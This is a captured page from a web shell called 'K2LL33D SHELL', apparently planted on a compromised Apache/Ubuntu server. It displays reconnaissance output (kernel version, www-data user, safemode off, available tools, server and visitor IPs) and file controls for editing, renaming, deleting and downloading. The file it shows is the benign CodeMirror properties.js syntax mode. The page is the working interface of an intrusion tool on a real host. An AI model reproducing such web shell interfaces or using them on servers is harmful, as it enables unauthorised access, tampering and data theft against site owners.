K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / usr / share / javascript / codemirror / mode / properties /
server ip : 172.67.156.115

your ip : 172.70.80.237

H O M E


Filename/usr/share/javascript/codemirror/mode/properties/properties.js
Size1.69 kb
Permissionrw-r--r--
Ownerroot : root
Create time27-Apr-2025 10:12
Last modified26-Mar-2012 17:05
Last accessed06-Jul-2025 20:05
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
CodeMirror.defineMode("properties", function() {
return {
token: function(stream, state) {
var sol = stream.sol() || state.afterSection;
var eol = stream.eol();

state.afterSection = false;

if (sol) {
if (state.nextMultiline) {
state.inMultiline = true;
state.nextMultiline = false;
} else {
state.position = "def";
}
}

if (eol && ! state.nextMultiline) {
state.inMultiline = false;
state.position = "def";
}

if (sol) {
while(stream.eatSpace());
}

var ch = stream.next();

if (sol && (ch === "#" || ch === "!" || ch === ";")) {
state.position = "comment";
stream.skipToEnd();
return "comment";
} else if (sol && ch === "[") {
state.afterSection = true;
stream.skipTo("]"); stream.eat("]");
return "header";
} else if (ch === "=" || ch === ":") {
state.position = "quote";
return null;
} else if (ch === "\\" && state.position === "quote") {
if (stream.next() !== "u") { // u = Unicode sequence \u1234
// Multiline value
state.nextMultiline = true;
}
}

return state.position;
},

startState: function() {
return {
position : "def", // Current position, "def", "quote" or "comment"
nextMultiline : false, // Is the next line multiline value
inMultiline : false, // Is the current line a multiline value
afterSection : false // Did we just open a section
};
}

};
});

CodeMirror.defineMIME("text/x-properties", "properties");
CodeMirror.defineMIME("text/x-ini", "properties");